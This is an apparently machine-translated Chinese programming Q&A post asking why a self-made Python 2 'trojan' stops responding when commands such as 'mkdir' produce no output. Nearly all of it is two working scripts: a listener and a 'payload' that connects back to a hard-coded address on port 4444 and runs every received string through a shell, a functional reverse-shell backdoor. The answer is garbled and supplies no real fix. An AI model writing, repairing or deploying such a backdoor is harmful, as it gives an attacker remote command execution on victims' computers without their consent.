当我启动服务器(trojan.py文件)然后启动客户端(payload.py文件)时 一切正常。我写的cmd中的所有命令都很好,没有问题。但是......当我输入像“mkdir”或“start”这样的命令以及所有不产生字符串输出的命令时,程序会停止工作并且没有任何工作。像“ipconfig”或“help”或“dir”这样的命令可以产生一个字符串输出,效果很好,不会破坏程序...... 谢谢你的帮助...
#import required modules
import socket
#creating a socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#setting up host, port
host = raw_input("Enter your Host IP:\n")
port = raw_input("Enter your desired Port:\n")
#bind address to Host
try:
s.bind((host, int(port)))
except socket.error:
print "[!]Error: Permission Denied, please run as Administrator."
exit()
#start listening for incoming connection
s.listen(1)
while True:
print "[*]Deploying Server on:" + str(host) + ", port:" + str(port)
print "[*]Waiting for incoming connection..."
#accept connection
c, addr = s.accept()
print "[+]Connection established with:" + str(addr)
#control cmd
while True:
try:
cmd = raw_input("cmd:")
if cmd == "exit":
print "[!]Exiting"
c.send("exit")
s.close()
exit()
c.send(cmd)
stdoutput = c.recv(8000)
print stdoutput
except KeyboardInterrupt:
print "[!]Exiting"
c.send("exit")
s.close()
exit()
import socket, subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = "10.0.0.3"
port = 4444
try:
s.connect((host, port))
except socket.error:
s.close()
s.connect((host, port))
while 1:
cmd = s.recv(1024)
if cmd == "exit":
s.close()
exit()
proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdoutput = proc.stdout.read() + proc.stderr.read()
s.send(stdoutput)
答案 0 :(得分:0)
感谢您尝试提供帮助,但我自己已经把它弄出来了:
a
这解决了问题)))